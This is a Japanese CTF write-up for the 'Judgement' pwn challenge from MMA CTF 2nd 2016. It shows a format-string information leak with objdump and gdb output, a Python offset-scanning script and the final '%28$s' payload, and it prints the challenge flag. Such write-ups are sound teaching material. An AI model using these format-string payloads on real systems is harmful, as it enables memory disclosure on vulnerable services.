MMA CTF 2nd 2016 writeup

f:id:HowMuch:20160905114239p:plain

SOLUTION

Judgement [pwn]

 指定されたサーバにncで接続するとFlagを聞かれる。 いろいろ試すとフォーマットストリングバグが見受けられるのでインフォメーションリークを狙う。

Flag judgment system
Input flag >> %08x
00000004
Wrong flag...

 次に配布されてる実行ファイルと、自前のflag.txtをローカルに用意して解析。

root@kali:~/ctf/mma/judgement# objdump -D judgement -M intel |grep flag
 80486f0:   e8 fe 00 00 00          call   80487f3 <load_flag>
080487f3 <load_flag>:
 8048813:   75 07                   jne    804881c <load_flag+0x29>
 804881a:   eb 4b                   jmp    8048867 <load_flag+0x74>
 8048837:   75 07                   jne    8048840 <load_flag+0x4d>
 804883e:   eb 27                   jmp    8048867 <load_flag+0x74>
 804885a:   74 06                   je     8048862 <load_flag+0x6f>
0804a0a0 <flag>:

それっぽい関数があるのでgdbで調べると0x804a0a0にFlagの文字列が置かれていることがわかる。

gdb-peda$ telescope
0000| 0xffffd330 --> 0xffffd3dc ("AAAA")
0004| 0xffffd334 --> 0x804a0a0 ("This is Flag!")
0008| 0xffffd338 --> 0xf7ffdaf0 --> 0xf7ffda94 --> 0xf7fb72b8 --> 0xf7ffd938 --> 0x0 
0012| 0xffffd33c --> 0xf7fb72e8 --> 0x8048397 ("GLIBC_2.0")
0016| 0xffffd340 --> 0x1 
0020| 0xffffd344 --> 0x1 
0024| 0xffffd348 --> 0x0 
0028| 0xffffd34c --> 0xa ('\n')

offsetを調べたいが、入力文字数に限界があるためスクリプトで調べる。

import sys, subprocess
n = int(sys.argv[1])
for i in range(n):
    offset = i
    p = "({}):%{}$p".format(offset, offset)
    payload = "AAAA"
    payload += p

    cmd = "echo \'{}\' | ./judgement".format(payload)
    subprocess.call(cmd, shell=True)
root@kali:~/ctf/mma/judgement# python genformat.py 100|grep 0x41414141
Input flag >> AAAA(43):0x41414141

定石通りにFlagを取り出そうとすると、printableでないバイナリデータは弾かれる。ここでいったん詰む...orz

root@kali:~/ctf/mma/judgement# python -c 'print("\xa0\xa0\x04\x08%43$s")'|./judgement 
Flag judgment system
Input flag >> Unprintable character

よく考えたら0x804a0a0という値が%sで参照できればいいだけなので、先ほどのスクリプトでこの値を探すと二か所見つかる。

root@kali:~/ctf/mma/judgement# python genformat.py 100|grep 0x804a0a0
Input flag >> AAAA(28):0x804a0a0
Input flag >> AAAA(32):0x804a0a0

よってoffset 28としてFlagが取れる。

Flag judgment system
Input flag >> %28$s
TWCTF{R3:l1f3_1n_4_pwn_w0rld_fr0m_z3r0}
Wrong flag...

Flag:TWCTF{R3:l1f3_1n_4_pwn_w0rld_fr0m_z3r0}

COMMENT

 正直Warmupの時点できつかった。まだまだ経験値が足りてないかな~という感じです。

 Cryptoも手付けたかったのに変なところで時間削って問題すら読めなくて残念。もっと時間配分とか集中力とか技術以外のところも検討してみる必要がある気がします。

 Web担当がチームに一人いてくれると助かるんだけどな~